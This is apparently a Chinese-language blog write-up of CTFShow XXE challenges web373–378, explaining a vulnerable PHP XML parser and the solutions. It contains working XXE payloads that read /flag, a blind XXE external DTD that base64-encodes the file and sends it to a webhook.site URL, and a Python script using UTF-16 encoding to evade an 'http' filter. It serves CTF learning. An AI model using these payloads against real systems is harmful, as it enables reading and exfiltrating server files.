CTFShow-XXE

web373

详细代码解析

php 复制代码
error_reporting(0);
不返回报错
libxml_disable_entity_loader(false);
不禁止xml实例加载器
$xmlfile = file_get_contents('php://input');
接收post请求的body原始内容,当服务端需要接收 XML、JSON、二进制流等非表单数据时,php://input 是唯一选择。
(`$a=$_POST['param'];`这样的只能接收键值对形式的数据)
if(isset($xmlfile))
检查是否存在 $xmlfile 
$dom = new DOMDocument();
创建实体化DOMDocument类用于解析XML
$dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD);
解析xml内容,LIBXML_NOENT强制解析外部插入的参数,LIBXML_DTDLOAD允许解析DTD
$creds = simplexml_import_dom($dom);
把xml解析过的dom内容转换为xml实体
$ctfshow = $creds->ctfshow;
从这个实体中的子元素中提取一个叫ctfshow的子元素复制到$ctfshow

直接上传xml的payload

xml 复制代码
<!DOCTYPE test [<!ENTITY Yv SYSTEM "file:///flag">]>
<test><ctfshow>&Yv;</ctfshow></test>

web374(无回显XXE|Blind XXE)

这里我们发现这是无回显的

没找到ctfshow内网攻击机

我们这里用:
https://pastebin.com/------创建shelldtd
https://webhook.site/------读取get请求

创建shell.dtd开放端口

xml 复制代码
//shlle.dtd
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=file:///flag">
<!ENTITY % int "<!ENTITY &#37; send SYSTEM 'https://webhook.site/8bc6785d-8958-4a2e-8af2-8185de955e0c/?flag=%file;'>">
%int;
%send;


//payload
<!DOCTYPE root [ 
    <!ENTITY % remote SYSTEM "https://pastebin.com/raw/JyXC4bCq">
    %remote;
]>


web375

依旧
https://pastebin.com/------创建shelldtd
https://webhook.site/------读取get请求

之前的payload秒了


web376

和上题正则匹配一个东西,但是这次不分大小写,反正之前的payload没有被过滤的东西

直接之前的payload秒了

web377

这次正则匹配多了一个http

可以用16进制绕过或是别的协议访问

但是用别的协议要满足两个条件:

  1. 靶机要支持该协议
  2. 攻击机要支持被该协议访问

这里没办法,没有找到内网可以控制的肉机,自己开个网站成本太高了,在线的基本只支持https

就用16进制绕过

python 复制代码
import requests
url = 'https://9662db2b-49f7-4770-ab7b-f708c47aa7d5.challenge.ctf.show/'
payload = '''<!DOCTYPE ANY[
<!ENTITY % xxe SYSTEM "https://pastebin.com/raw/JyXC4bCq">
%xxe;
]>'''
# 关键:UTF-16 编码绕过 http 过滤
response = requests.post(url, data=payload.encode('utf-16'), verify=False)
print(data=payload.encode('utf-16'))

web378

没什么过滤

直接包含一下flag文件就可以了

相关推荐
hengdonghui12 小时前
Writeup 4 红帽杯 2021 WebsiteManger
web·ctf·ssrf·sql布尔盲注
hengdonghui2 天前
Writeup 4 2020 - 之江杯 - 异常的流量分析
wireshark·ctf·流量分析
hengdonghui2 天前
Writeup 4 津门杯 2021 Web hate_php
php·web·ctf·通配符
hengdonghui3 天前
Writeup 4 红帽杯 2021 Web Find_It
web·ctf·备份文件泄露
hengdonghui3 天前
Writeup 4 强网杯 2019 强网先锋打野
ctf·misc·zsteg
hengdonghui4 天前
Writeup 4 NUAA 2017 robots
android·ctf·re
hengdonghui4 天前
Writeup 4 CSS CTF Semester 2 2026 - Lamp Drill
ctf·re
hengdonghui4 天前
Writeup 4 CSS CTF Semester 2 2026 Cryptography Chrono I
ctf·维吉尼亚密码·crypto
hengdonghui5 天前
Writeup 4 CSS CTF Semester 2 2026 - Dead Faction Servers
ctf·osint
hengdonghui5 天前
Writeup 4 2020 - 之江杯 - 工控现场的恶意扫描
wireshark·ctf·流量分析